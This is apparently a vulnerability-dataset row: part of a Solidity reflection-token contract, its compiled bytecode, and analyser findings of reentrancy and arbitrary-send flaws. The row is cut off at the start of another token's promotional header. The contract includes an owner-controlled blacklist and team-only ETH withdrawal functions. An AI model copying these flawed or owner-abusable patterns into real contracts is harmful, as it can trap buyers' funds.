.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 60000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280601e81526020017f426162794c696e636f6c6e207c20742e6d652f626162796c696e636f6c6e0000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550680340aad21b3b7000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f426162794c696e636f6c6e000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202d1ec1c6660e5203f99db0cbd451b68da6334f7c22559c42d2ea05d4e34a696d64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,141 |
0x9ca38b521acbbe2b5901ee2154770c562f8e4526 | /**
https://t.me/HannyaToken
https://www.Hannya.info
------Tokenomics-----
1,000,000,000,000 token supply
52% Burned to 0xdead
5,000,000,000 max buy.
